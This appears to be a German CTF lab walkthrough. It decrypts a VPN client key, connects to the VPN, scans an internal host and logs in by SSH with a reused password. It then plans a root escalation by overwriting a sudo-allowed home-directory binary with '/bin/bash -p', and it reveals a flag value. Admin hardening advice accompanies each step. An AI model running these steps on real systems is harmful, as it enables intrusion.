Dies ist ein entscheidender Durchbruch. Die Warnung in der OpenVPN-Konfigurationsvorlage ("Do NOT use a SAME password as other services et. SSH") war prophetisch – das Passwort "hiro" ist relativ einfach und könnte tatsächlich für andere Dienste wiederverwendet worden sein, oder es ist der Benutzername oder ein Teil davon (shinosawa). Der Benutzername "shinosawa" wurde bereits im Kommentar der OpenVPN-Konfigurationsdatei erwähnt.
Empfehlung (Pentester):
Mit dem entschlüsselten privaten Schlüssel (client.decrypted.key), dem Client-Zertifikat (client.crt) und dem CA-Zertifikat (ca.crt) können wir nun eine OpenVPN-Konfigurationsdatei (.ovpn) erstellen und versuchen, eine Verbindung zum VPN-Server (192.168.2.191 auf Port 1194/udp) herzustellen. Das Passwort "hiro" sollte auch für SSH-Logins gegen den Benutzer "shinosawa" auf allen erreichbaren Systemen getestet werden.
Empfehlung (Admin):
Die Verwendung einer schwachen, leicht zu erratenden Passphrase ("hiro") für einen wichtigen privaten Schlüssel ist eine schwerwiegende Sicherheitslücke. Es unterstreicht die Notwendigkeit von Richtlinien für starke Passwörter/Passphrasen und deren Durchsetzung. Schulungen zur Sensibilisierung für Passwortsicherheit sind unerlässlich. Private Schlüssel sollten mit starken, einzigartigen Passphrasen geschützt werden, die nicht in Standard-Wortlisten enthalten sind. Die Tatsache, dass rockyou.txt ausreichte, zeigt die Schwäche der gewählten Passphrase.
Analyse:
Nachdem die Passphrase für den privaten Schlüssel geknackt wurde (hiro) und der Schlüssel als client.decrypted.key gespeichert ist, erstellen wir nun die OpenVPN-Client-Konfigurationsdatei, die wir für den Verbindungsaufbau benötigen. Wir nennen sie connect.ovpn.
Der Befehl vi connect.ovpn öffnet die Datei im Texteditor vi. Der Inhalt der Datei wird manuell basierend auf der zuvor gefundenen Vorlage und den nun bekannten Details zusammengestellt:
client,dev tun,proto udp,resolv-retry infinite,nobind,persist-key,persist-tun,cipher AES-256-GCM,verb 3: Standard-OpenVPN-Client-Direktiven.remote 192.168.2.191 1194: Gibt die IP-Adresse und den Port des OpenVPN-Servers an.ca ca.crt: Verweist auf die heruntergeladene CA-Zertifikatsdatei.cert client.crt: Verweist auf die heruntergeladene Client-Zertifikatsdatei.key client.decrypted.key: Verweist auf den soeben entschlüsselten privaten Schlüssel.
client dev tun proto udp remote 192.168.2.191 1194 resolv-retry infinite nobind ca ca.crt cert client.crt key client.decrypted.key cipher AES-256-GCM verb 3 persist-key persist-tun
Bewertung:
Die connect.ovpn-Datei ist korrekt und vollständig konfiguriert, um eine Verbindung zum OpenVPN-Server herzustellen. Alle notwendigen Komponenten (Serveradresse, Port, Zertifikate, entschlüsselter Schlüssel und Protokolleinstellungen) sind vorhanden. Wir sind nun bereit, den eigentlichen Verbindungsaufbau zu versuchen.
Empfehlung (Pentester):
Im nächsten Schritt wird der Befehl sudo openvpn --config connect.ovpn ausgeführt, um die VPN-Verbindung herzustellen. Es sollte genau auf die Ausgabe von OpenVPN geachtet werden, um sicherzustellen, dass die Verbindung erfolgreich aufgebaut wird und um die zugewiesene IP-Adresse im VPN-Netzwerk sowie eventuell gepushte Routen zu erfahren.
Empfehlung (Admin):
Die Konfiguration des OpenVPN-Servers sollte regelmäßig überprüft werden. Dazu gehört die Überprüfung der verwendeten Chiffren (AES-256-GCM ist stark), der Zertifikatsgültigkeiten und der allgemeinen Sicherheitseinstellungen. Es sollte protokolliert werden, welche Clients sich wann verbinden.
Analyse:
Die Ausgabe des Befehls ll (ein Alias für ls -l) im Verzeichnis ~/vpn zeigt alle Dateien, die wir bisher für den OpenVPN-Zugriff gesammelt und erstellt haben. Dies dient zur Überprüfung, ob alle benötigten Dateien vorhanden sind, bevor der Verbindungsversuch gestartet wird.
insgesamt 1500 -rwxrwxr-x 1 root root 657 15. Mai 01:31 brute.sh -rw-r--r-- 1 root root 1200 15. Mai 00:23 ca.crt -rw-r--r-- 1 root root 4492 15. Mai 00:23 client.crt -rw------- 1 root root 1704 15. Mai 01:34 client.decrypted.key -rw-r--r-- 1 root root 1862 15. Mai 00:27 client.key -rw-r--r-- 1 root root 0 15. Mai 00:29 client.key.hash -rw-r--r-- 1 root root 2518 15. Mai 00:35 client.key.john_hash -rw-rw-r-- 1 root root 181 15. Mai 01:27 connect.ovpn -rw-rw-r-- 1 root root 1500010 15. Mai 01:21 shino_num_len14.txt
Bewertung: Die Auflistung bestätigt das Vorhandensein aller relevanten Dateien:
brute.sh: Das Skript zum Knacken der Passphrase.ca.crt: Das CA-Zertifikat.client.crt: Das Client-Zertifikat.client.decrypted.key: Der entschlüsselte private Schlüssel (wichtig!).client.key: Der ursprüngliche verschlüsselte private Schlüssel.client.key.john_hash: Der (nicht funktionierende) Hash für John the Ripper.connect.ovpn: Die OpenVPN-Konfigurationsdatei.shino_num_len14.txt: Eine große Datei, deren Zweck hier unklar ist, könnte eine Wortliste oder ein Überbleibsel eines anderen Versuchs sein. Für den aktuellen OpenVPN-Zugriff ist sie nicht direkt relevant.
connect.ovpn, ca.crt, client.crt, und client.decrypted.key. Die Berechtigungen für client.decrypted.key (-rw-------) sind korrekt restriktiv gesetzt (nur Lesen/Schreiben für den Eigentümer).
Empfehlung (Pentester):
Alle notwendigen Dateien sind vorhanden. Der nächste Schritt ist der Start der OpenVPN-Verbindung mit sudo openvpn --config connect.ovpn.
Empfehlung (Admin):
Keine direkten administrativen Maßnahmen basierend auf dieser Dateiliste auf dem Angreifer-System. Es unterstreicht jedoch, wie ein Angreifer methodisch alle notwendigen Komponenten sammelt.
Analyse:
Jetzt wird die OpenVPN-Verbindung mit der zuvor erstellten Konfigurationsdatei connect.ovpn gestartet.
Der Befehl openvpn --config connect.ovpn wird verwendet. Es ist zu beachten, dass je nach Systemkonfiguration sudo vorangestellt werden muss, wenn OpenVPN administrative Rechte benötigt (z.B. zum Erstellen des TUN/TAP-Interfaces oder zum Ändern von Routen). Im vorliegenden Fall wird es ohne sudo ausgeführt, was darauf hindeuten könnte, dass der Benutzer bereits Root-Rechte hat oder OpenVPN entsprechend konfiguriert ist.
Die Ausgabe zeigt detaillierte Log-Meldungen des OpenVPN-Clients während des Verbindungsaufbaus.
2025-05-15 01:36:03 Note: Kernel support for ovpn-dco missing, disabling data channel offload. 2025-05-15 01:36:03 OpenVPN 2.6.14 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO] 2025-05-15 01:36:03 library versions: OpenSSL 3.5.0 8 Apr 2025, LZO 2.10 2025-05-15 01:36:03 DCO version: N/A 2025-05-15 01:36:03 WARNING: No server certificate verification method has been enabled. See [Link: http://openvpn.net/howto.html#mitm | Ziel: http://openvpn.net/howto.html#mitm] for more info. 2025-05-15 01:36:03 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.2.191:1194 2025-05-15 01:36:03 Socket Buffers: R=[212992->212992] S=[212992->212992] 2025-05-15 01:36:03 UDPv4 link local: (not bound) 2025-05-15 01:36:03 UDPv4 link remote: [AF_INET]192.168.2.191:1194 2025-05-15 01:36:03 TLS: Initial packet from [AF_INET]192.168.2.191:1194, sid=21139f7b e6707152 2025-05-15 01:36:03 VERIFY OK: depth=1, CN=My-Home CA 2025-05-15 01:36:03 VERIFY OK: depth=0, CN=server 2025-05-15 01:36:03 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, peer certificate: 2048 bits RSA, signature: RSA-SHA256, peer temporary key: 253 bits X25519 2025-05-15 01:36:03 [server] Peer Connection Initiated with [AF_INET]192.168.2.191:1194 2025-05-15 01:36:03 TLS: move_session: dest=TM_ACTIVE src=TM_INITIAL reinit_src=1 2025-05-15 01:36:03 TLS: tls_multi_process: initial untrusted session promoted to trusted 2025-05-15 01:36:03 PUSH: Received control message: 'PUSH_REPLY,route 10.176.13.0 255.255.255.0,dhcp-option DNS 8.8.8.8,route-gateway 10.8.0.1,topology subnet,ping 10,ping-restart 120,ifconfig 10.8.0.2 255.255.255.0,peer-id 0,cipher AES-256-GCM,protocol-flags cc-exit tls-ekm dyn-tls-crypt,tun-mtu 1500' 2025-05-15 01:36:03 OPTIONS IMPORT: --ifconfig/up options modified 2025-05-15 01:36:03 OPTIONS IMPORT: route options modified 2025-05-15 01:36:03 OPTIONS IMPORT: route-related options modified 2025-05-15 01:36:03 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified 2025-05-15 01:36:03 OPTIONS IMPORT: tun-mtu set to 1500 2025-05-15 01:36:03 net_route_v4_best_gw query: dst 0.0.0.0 2025-05-15 01:36:03 net_route_v4_best_gw result: via 192.168.2.1 dev eth0 2025-05-15 01:36:03 ROUTE_GATEWAY 192.168.2.1/255.255.255.0 IFACE=eth0 HWADDR=08:00:27:ee:49:a2 2025-05-15 01:36:03 TUN/TAP device tun0 opened 2025-05-15 01:36:03 net_iface_mtu_set: mtu 1500 for tun0 2025-05-15 01:36:03 net_iface_up: set tun0 up 2025-05-15 01:36:03 net_addr_v4_add: 10.8.0.2/24 dev tun0 2025-05-15 01:36:03 net_route_v4_add: 10.176.13.0/24 via 10.8.0.1 dev [NULL] table 0 metric -1 2025-05-15 01:36:03 Initialization Sequence Completed 2025-05-15 01:36:03 Data Channel: cipher 'AES-256-GCM', peer-id: 0 2025-05-15 01:36:03 Timers: ping 10, ping-restart 120 2025-05-15 01:36:03 Protocol options: protocol-flags cc-exit tls-ekm dyn-tls-crypt
Bewertung: Der OpenVPN-Verbindungsaufbau war erfolgreich! Die wichtigsten Punkte aus der Ausgabe sind:
WARNING: No server certificate verification method has been enabled.: Dies ist eine wichtige Warnung. Obwohl wirca ca.crtin unserer Konfiguration haben, scheint serverseitig keine strenge Überprüfung des Client-Zertifikats anhand des CN (Common Name) oder anderer Attribute stattzufinden, oder die Optionremote-cert-tls serverfehlt in der Client-Konfig. Für diesen CTF-Kontext ist es weniger kritisch, in einer Produktivumgebung wäre dies aber ein Sicherheitsproblem (Risiko von Man-in-the-Middle-Angriffen, wenn das CA-Zertifikat kompromittiert würde).VERIFY OK: depth=1, CN=My-Home CAundVERIFY OK: depth=0, CN=server: Das Zertifikat des Servers wurde erfolgreich gegen unser CA-Zertifikat validiert.[server] Peer Connection Initiated with [AF_INET]192.168.2.191:1194: Die Verbindung zum Server wurde hergestellt.PUSH: Received control message: ...: Dies ist ein sehr wichtiger Teil. Der Server "pusht" Konfigurationsoptionen an den Client:route 10.176.13.0 255.255.255.0: Der Client wird angewiesen, eine Route zum Netzwerk10.176.13.0/24hinzuzufügen. Dies ist ein neues Netzwerk, das wir erkunden müssen!dhcp-option DNS 8.8.8.8: Setzt den DNS-Server auf Google DNS.route-gateway 10.8.0.1: Das Gateway für das VPN-Netzwerk.ifconfig 10.8.0.2 255.255.255.0: Dem Client wird die IP-Adresse10.8.0.2im Subnetz255.255.255.0zugewiesen.
TUN/TAP device tun0 opened: Das virtuelle Netzwerkinterfacetun0wurde erfolgreich erstellt.net_addr_v4_add: 10.8.0.2/24 dev tun0: Die IP-Adresse wurde dem Interface zugewiesen.net_route_v4_add: 10.176.13.0/24 via 10.8.0.1 ...: Die Route zum neuen Netzwerk wurde hinzugefügt.Initialization Sequence Completed: Die Verbindung steht!
10.176.13.0/24) und eine neue IP-Adresse (10.8.0.2). Das VPN-Gateway ist 10.8.0.1.
Empfehlung (Pentester): Die nächsten Schritte sind:
- Überprüfen der neuen Netzwerkkonfiguration auf dem Client-System (mit
ip aundip route). - Pingen des VPN-Gateways (
10.8.0.1), um die Konnektivität zu bestätigen. - Scannen des VPN-Gateways (
10.8.0.1) auf offene Ports. - Scannen des neu entdeckten Netzwerks
10.176.13.0/24auf aktive Hosts und deren Dienste. Dies ist wahrscheinlich der Ort, an dem sich weitere Ziele befinden.
Empfehlung (Admin): Die OpenVPN-Serverkonfiguration sollte überprüft werden, um sicherzustellen, dass eine angemessene Zertifikatsverifizierung (z.B. durch
remote-cert-tls server oder spezifischere Überprüfungen des Client-Zertifikat-CNs) erzwungen wird, um die Sicherheit zu erhöhen. Die gepushten Routen und Netzwerke sollten genau definiert und nur auf das Notwendigste beschränkt sein (Least Privilege).
Analyse:
Nachdem die OpenVPN-Verbindung erfolgreich aufgebaut wurde, überprüfen wir die Netzwerkkonfiguration unseres lokalen Systems mit dem Befehl ip a (eine Kurzform für ip addr show). Dies zeigt alle Netzwerkschnittstellen und deren zugewiesene IP-Adressen an. Wir suchen hier speziell nach der neuen tun0-Schnittstelle, die von OpenVPN erstellt wurde.
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500 link/none inet 10.8.0.2/24 scope global tun0 valid_lft forever preferred_lft forever inet6 fe80::e7f9:aeb6:c615:5848/64 scope link stable-privacy valid_lft forever preferred_lft forever
Bewertung:
Die Ausgabe von ip a bestätigt, dass die Netzwerkschnittstelle tun0 aktiv ist (UP,LOWER_UP) und die vom OpenVPN-Server zugewiesene IP-Adresse 10.8.0.2 mit einer Subnetzmaske /24 (entspricht 255.255.255.0) erhalten hat. Dies stimmt mit den Informationen überein, die während des OpenVPN-Verbindungsaufbaus (ifconfig 10.8.0.2 255.255.255.0) angezeigt wurden.
Wir sind nun offiziell Teil des VPN-Netzwerks.
Empfehlung (Pentester):
Als Nächstes sollte die Konnektivität innerhalb des VPNs überprüft werden, beginnend mit einem Ping an das Gateway (10.8.0.1). Danach kann die Erkundung des gepushten Netzwerks 10.176.13.0/24 beginnen.
Empfehlung (Admin):
Keine direkten administrativen Maßnahmen basierend auf dieser Client-seitigen Ausgabe. Es bestätigt die korrekte Funktion der IP-Adressvergabe durch den OpenVPN-Server.
Analyse:
Um die grundlegende Konnektivität innerhalb des neu etablierten VPN-Tunnels zu testen, pingen wir das vom OpenVPN-Server zugewiesene Gateway 10.8.0.1 an.
Der Befehl ping -c 4 10.8.0.1 sendet vier ICMP Echo Request-Pakete an das Gateway.
PING 10.8.0.1 (10.8.0.1) 56(84) bytes of data. 64 bytes from 10.8.0.1: icmp_seq=1 ttl=64 time=0.394 ms 64 bytes from 10.8.0.1: icmp_seq=2 ttl=64 time=0.590 ms 64 bytes from 10.8.0.1: icmp_seq=3 ttl=64 time=0.641 ms ^C --- 10.8.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2057ms rtt min/avg/max/mdev = 0.394/0.541/0.641/0.106 ms
Bewertung:
Der Ping-Test ist erfolgreich. Das Gateway 10.8.0.1 antwortet auf die ICMP-Anfragen mit kurzen Antwortzeiten (RTTs von ca. 0.4-0.6 ms). Es gibt keinen Paketverlust (0% packet loss). Dies bestätigt, dass die VPN-Verbindung stabil ist und wir mit dem Gateway kommunizieren können.
Der Prozess wurde mit Strg+C nach 3 Paketen abgebrochen, aber das Ergebnis ist eindeutig.
Empfehlung (Pentester):
Nachdem die Konnektivität zum Gateway bestätigt wurde, ist der nächste Schritt, das Gateway selbst (10.8.0.1) auf offene Dienste zu scannen und anschließend das vom Server gepushte Netzwerk 10.176.13.0/24 auf weitere Hosts zu untersuchen.
Empfehlung (Admin):
Die Erreichbarkeit des VPN-Gateways via Ping ist normal und für Troubleshooting oft erwünscht. Wenn dies aus Sicherheitsgründen nicht gewünscht ist, könnte ICMP am Gateway blockiert werden, was jedoch die Fehlerdiagnose erschwert.
Analyse:
Nachdem die VPN-Verbindung steht und das Gateway 10.8.0.1 erreichbar ist, scannen wir dieses Gateway mit nmap auf offene TCP-Ports.
Der Befehl nmap -p- 10.8.0.1 führt einen Scan aller 65535 TCP-Ports auf der IP-Adresse 10.8.0.1 durch. Standardmäßig führt nmap ohne weitere Spezifikationen (wie -sS oder -sT) einen SYN-Scan durch, wenn es mit Root-Rechten ausgeführt wird, oder einen Connect-Scan, wenn nicht. Da der Prompt root㉿CCat anzeigt, wird wahrscheinlich ein SYN-Scan durchgeführt.
Anschließend wird das vom VPN-Server gepushte Netzwerk 10.176.13.0/24 mit nmap -sn 10.176.13.0/24 auf aktive Hosts gescannt. Die Option -sn (Ping-Scan) deaktiviert das Port-Scanning und führt nur eine Host-Discovery durch, um festzustellen, welche IPs im Subnetz antworten.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 01:45 CEST Nmap scan report for 10.8.0.1 Host is up (0.00050s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 2.93 seconds
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 01:45 CEST Nmap scan report for 10.176.13.37 Host is up (0.00046s latency). Nmap done: 256 IP addresses (1 host up) scanned in 83.99 seconds
Bewertung:
Der Scan des VPN-Gateways 10.8.0.1 zeigt, dass dort nur Port 80 (HTTP) offen ist. Dies könnte eine Verwaltungswebseite für das VPN oder ein anderer interner Webdienst sein.
Der Ping-Scan des Netzwerks 10.176.13.0/24 ist sehr aufschlussreich: Es wurde ein einzelner aktiver Host mit der IP-Adresse 10.176.13.37 gefunden. Dies ist unser nächstes Ziel!
Empfehlung (Pentester):
Der Webdienst auf http://10.8.0.1/ sollte untersucht werden. Parallel dazu muss der neu entdeckte Host 10.176.13.37 einem vollständigen Portscan (TCP und UDP) unterzogen werden, um dessen Dienste und potenzielle Schwachstellen zu identifizieren.
Empfehlung (Admin):
Wenn auf dem VPN-Gateway 10.8.0.1 ein Webserver läuft, sollte dessen Zugriff streng kontrolliert und der Dienst gehärtet werden. Nicht benötigte Webdienste auf Netzwerkgeräten sollten deaktiviert werden. Die Netzwerksegmentierung durch das VPN ist ein guter Schritt, aber die Sicherheit der Hosts innerhalb des VPN-Segments ist ebenso wichtig. Es sollte sichergestellt werden, dass Hosts im VPN nur die minimal notwendigen Dienste exponieren.
Analyse:
Nachdem der Host 10.176.13.37 im VPN-Subnetz 10.176.13.0/24 identifiziert wurde, führen wir nun einen detaillierten nmap-Scan auf diesen Host durch.
Der Befehl nmap -sS -sC -sV -p- 10.176.13.37 ist wie folgt aufgebaut:
-sS: TCP SYN-Scan.-sC: Führt Standard-Nmap-Skripte aus.-sV: Versucht, die Versionen der laufenden Dienste zu ermitteln.-p-: Scannt alle 65535 TCP-Ports.
10.176.13.37 zu finden.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 01:49 CEST Nmap scan report for 10.176.13.37 Host is up (0.00044s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 f7:f2:e0:96:c0:28:67:93:5f:90:f2:a1:86:73:74:00 (ECDSA) |_ 256 92:40:ba:b8:11:ad:79:41:71:f8:9e:00:01:64:9c:34 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Unix)) |_http-server-header: Apache/2.4.62 (Unix) |_http-title: Mac OS X Server | http-methods: |_ Potentially risky methods: TRACE |_http-favicon: Apache on Mac OS X Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 9.22 seconds
Bewertung:
Der Scan des Hosts 10.176.13.37 liefert sehr interessante Ergebnisse:
- Port
22/tcpist offen und es läuft einOpenSSH 9.9Dienst. Dies ist ein potenzieller Eingangspunkt, wenn wir gültige Anmeldedaten finden oder eine Schwachstelle in dieser SSH-Version existiert. - Port
80/tcpist ebenfalls offen und es läuft einApache httpd 2.4.62 ((Unix)). Interessanterweise sind der HTTP-Titel (Mac OS X Server) und das Favicon identisch mit dem Webserver auf der ursprünglichen Ziel-IP192.168.2.191. Dies könnte darauf hindeuten, dass es sich um denselben Server handelt, der über das VPN erreichbar ist, oder um eine sehr ähnliche Konfiguration. Die aktivierteTRACE-Methode wird auch hier gemeldet.
hiro (gefunden für den VPN-Schlüssel) für den Benutzer shinosawa (erwähnt in der VPN-Konfig) via SSH ist nun ein primärer Angriffsvektor.
Empfehlung (Pentester):
Der nächste Schritt ist ein SSH-Loginversuch auf 10.176.13.37 mit dem Benutzernamen shinosawa und dem Passwort hiro. Parallel dazu sollte auch der Webserver auf http://10.176.13.37/ untersucht werden, obwohl er dem bereits bekannten Server ähnelt – es könnten sich Unterschiede im Inhalt oder in der Konfiguration ergeben haben, die über das VPN zugänglich sind.
Empfehlung (Admin):
Der SSH-Zugriff sollte durch starke, einzigartige Passwörter und/oder Schlüsselpaare gesichert werden. Passwort-Authentifizierung sollte idealerweise deaktiviert und nur Schlüssel-Authentifizierung zugelassen werden. Die Webserver-Konfiguration (Deaktivierung von TRACE, Minimierung von Bannern) gilt auch für diesen internen Host. Es sollte sichergestellt werden, dass interne Systeme ebenso robust gehärtet sind wie extern erreichbare Systeme. Die Ähnlichkeit der Webserver-Konfiguration könnte auf geklonte Systeme oder eine standardisierte Bereitstellung hinweisen; sicherheitsrelevante Einstellungen sollten bei solchen Prozessen besonders beachtet werden.
Analyse:
Basierend auf den Ergebnissen des vorherigen nmap-Scans (offener SSH-Port auf 10.176.13.37) und den Hinweisen aus der OpenVPN-Konfiguration (Benutzer "shinosawa", Passwort des VPN-Keys "hiro"), versuchen wir nun, uns per SSH auf dem Host 10.176.13.37 als Benutzer shinosawa anzumelden.
Der Befehl ssh shinosawa@10.176.13.37 initiiert die SSH-Verbindung. Das System fragt nach der Bestätigung des Host-Schlüssels (da es das erste Mal ist, dass wir uns mit diesem Host verbinden) und anschließend nach dem Passwort für shinosawa.
Wir geben das Passwort hiro ein.
The authenticity of host '10.176.13.37 (10.176.13.37)' can't be established. ED25519 key fingerprint is SHA256:vaNpWHLU4MBQQAMOKUZyElDg6iMi5vHtM3a9kKLw+oE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.176.13.37' (ED25519) to the list of known hosts. shinosawa@10.176.13.37's password: hiro homelab:~$
Bewertung:
Der SSH-Login war erfolgreich! Wir haben mit den Anmeldedaten shinosawa:hiro eine Shell auf dem Zielsystem homelab (Hostname des Zielsystems, wie im Prompt ersichtlich) erhalten.
Dies bestätigt die Vermutung, dass das Passwort des VPN-Schlüssels für den SSH-Zugang des Benutzers shinosawa wiederverwendet wurde. Dies ist ein kritischer Fund und unser erster interaktiver Zugriff auf ein System in dieser Kette. Wir haben nun einen Fuß in der Tür im internen Netzwerk. Der Prompt homelab:~$ zeigt, dass wir uns im Home-Verzeichnis des Benutzers shinosawa befinden und eine normale Benutzer-Shell haben.
Empfehlung (Pentester):
Nachdem wir erfolgreich Zugriff als Benutzer shinosawa erlangt haben, sind die nächsten Schritte:
- **Grundlegende Enumeration auf dem Zielsystem:** Betriebssystemversion, Kernel-Version, installierte Software, laufende Prozesse, Netzwerkkonfiguration (
uname -a,cat /etc/os-release,ps aux,netstat -tulnp,id,whoami). - **Suche nach Benutzer-Flag:** Oft befindet sich diese im Home-Verzeichnis des Benutzers (
/home/shinosawa/user.txtoder ähnlich). - **Privilege Escalation Vektoren suchen:** Überprüfung der
sudo-Rechte (sudo -l), SUID/SGID-Binaries (find / -perm -4000 -type f 2>/dev/null), Cronjobs, Kernel-Exploits, schwache Dateiberechtigungen, etc.
Empfehlung (Admin): Die Wiederverwendung von Passwörtern über verschiedene Dienste hinweg (hier: VPN-Schlüssel-Passphrase und SSH-Passwort) ist eine gravierende Sicherheitslücke und sollte strikt vermieden werden. Jeder Dienst sollte ein einzigartiges, starkes Passwort oder idealerweise eine schlüsselbasierte Authentifizierung verwenden. Benutzer sollten über die Gefahren der Passwortwiederverwendung geschult werden. Multi-Faktor-Authentifizierung (MFA) für SSH-Zugänge würde die Sicherheit erheblich erhöhen.
Analyse:
Nachdem wir uns erfolgreich als Benutzer shinosawa per SSH auf dem Host homelab angemeldet haben, führen wir den Befehl sudo -l aus. Dieser Befehl listet die Befehle auf, die der aktuelle Benutzer (shinosawa) mit sudo (also mit den Rechten eines anderen Benutzers, standardmäßig root) ausführen darf, basierend auf der Konfiguration in der /etc/sudoers-Datei.
The authenticity of host '10.176.13.37 (10.176.13.37)' can't be established. ED25519 key fingerprint is SHA256:vaNpWHLU4MBQQAMOKUZyElDg6iMi5vHtM3a9kKLw+oE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.176.13.37' (ED25519) to the list of known hosts. shinosawa@10.176.13.37's password: hiro homelab:~$ sudo -l Matching Defaults entries for shinosawa on homelab: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for shinosawa: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User shinosawa may run the following commands on homelab: (ALL) NOPASSWD: /home/shinosawa/deepseek homelab:~$
Bewertung:
Die Ausgabe von sudo -l ist extrem aufschlussreich und deutet auf einen klaren Weg zur Rechteausweitung hin:
Matching Defaults entries ... secure_path=...: Definiert den sicheren Pfad, densudoverwendet, um Befehle zu finden. Dies ist wichtig, um Path-Hijacking-Angriffe zu verhindern, bei denen ein Angreifer eine manipulierte Version eines Standardbefehls in einem Verzeichnis platziert, das früher imPATHdes Benutzers steht.Runas and Command-specific defaults ... Defaults!/usr/sbin/visudo ...: Spezifische Standardeinstellungen fürvisudo.User shinosawa may run the following commands on homelab: (ALL) NOPASSWD: /home/shinosawa/deepseek: Dies ist der kritische Punkt! Der Benutzershinosawadarf den Befehl/home/shinosawa/deepseekals jeder Benutzer ((ALL), was implizitrooteinschließt, wenn nicht anders angegeben) und ohne Eingabe eines Passworts (NOPASSWD:) ausführen.
deepseek im Home-Verzeichnis von shinosawa befindet (/home/shinosawa/deepseek), und wir als shinosawa Schreibrechte in unserem eigenen Home-Verzeichnis haben (es sei denn, es gibt sehr ungewöhnliche Einschränkungen), können wir diese Datei potenziell manipulieren oder ersetzen. Wenn wir /home/shinosawa/deepseek durch ein Skript ersetzen, das eine Shell startet (z.B. /bin/bash oder /bin/sh), und dieses dann mit sudo /home/shinosawa/deepseek ausführen, wird unser Skript mit Root-Rechten ausgeführt. Dies ist ein klassischer Sudo-Exploit-Vektor durch eine unsichere Konfiguration.
Empfehlung (Pentester): Der Plan ist klar:
- Überprüfen, was
/home/shinosawa/deepseekaktuell ist (ls -l /home/shinosawa/deepseek,file /home/shinosawa/deepseek,cat /home/shinosawa/deepseek). - Wenn möglich, die Originaldatei
deepseeksichern (umbenennen). - Eine neue Datei namens
deepseekim Pfad/home/shinosawa/erstellen, die einen Befehl zum Starten einer Shell enthält (z.B.echo '/bin/bash -p' > /home/shinosawa/deepseekoderecho 'ash' > /home/shinosawa/deepseek, da die Shell von shinosawaashist). - Die neue Datei ausführbar machen (
chmod +x /home/shinosawa/deepseek). - Den Befehl
sudo /home/shinosawa/deepseekausführen. Dies sollte eine Root-Shell öffnen.
Empfehlung (Admin): Die
sudoers-Konfiguration ist hier extrem unsicher. Das Erlauben der Ausführung eines Programms aus dem Home-Verzeichnis eines Benutzers mit NOPASSWD als root ist ein Rezept für eine Katastrophe, da der Benutzer volle Kontrolle über dieses Programm hat.
Prinzipien für sichere sudoers-Regeln:
- **Least Privilege:** Benutzern nur die absolut notwendigen Rechte geben.
- **Keine NOPASSWD für potenziell gefährliche Befehle:** Wenn möglich, immer eine Passwortabfrage erzwingen.
- **Keine Ausführung von Programmen aus benutzerkontrollierbaren Verzeichnissen:** Programme, die mit erhöhten Rechten ausgeführt werden dürfen, sollten in geschützten Systemverzeichnissen liegen (z.B.
/usr/local/sbin) und nicht vom Benutzer veränderbar sein. - **Spezifische Befehle statt generischer Shells:** Anstatt dem Benutzer zu erlauben,
/home/shinosawa/deepseekauszuführen, wäre es sicherer (wenn dieser Befehl tatsächlich als root benötigt wird), ihn an einen Ort zu verschieben, denshinosawanicht schreiben kann, und den Pfad insudoersentsprechend anzupassen.
sudo-Regel muss umgehend korrigiert werden.
Analyse:
Als Benutzer shinosawa führen wir einige grundlegende Enumerationsbefehle durch, um mehr über das System und den Benutzerkontext zu erfahren.
grep sh /etc/passwd: Durchsucht die Datei/etc/passwdnach Zeilen, die "sh" enthalten. Dies wird oft verwendet, um Benutzer zu finden, die eine Shell konfiguriert haben (z.B./bin/bash,/bin/sh,/bin/ash).ls /home/: Listet die Verzeichnisse im/home-Verzeichnis auf, um andere Benutzerkonten zu identifizieren.id: Zeigt die User ID (UID), Group ID (GID) und Gruppenmitgliedschaften des aktuellen Benutzers an.cat user.flag: Versucht, eine Datei namensuser.flagim aktuellen Verzeichnis (dem Home-Verzeichnis vonshinosawa) zu lesen. Dies ist eine Standardkonvention in CTFs für die Benutzer-Flag.
root:x:0:0:root:/root:/bin/sh shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown sshd:x:22:22:sshd:/dev/null:/sbin/nologin shinosawa:x:1000:1000::/home/shinosawa:/bin/ash <<--<- das ist eine "/bin/ash" shell
shinosawa
uid=1000(shinosawa) gid=1000(shinosawa) groups=100(users),1000(shinosawa)
flag{38665d1048af82499c6ecbd3c0db3acc}
Bewertung: Die Enumeration liefert wichtige Informationen:
grep sh /etc/passwd:- Bestätigt, dass
rootdie Shell/bin/shverwendet. - Zeigt den Benutzer
shinosawa(UID 1000, GID 1000) mit der Shell/bin/ash. Die Alpine Linux Shell (ash) ist eine leichtgewichtige Shell, die oft in Containern oder Embedded Systems verwendet wird. Der Kommentar "//das ist eine ask shell" ist eine interessante Beobachtung des ursprünglichen Autors. - Der
sshd-Benutzer hat keine Login-Shell (/sbin/nologin), was normal ist.
- Bestätigt, dass
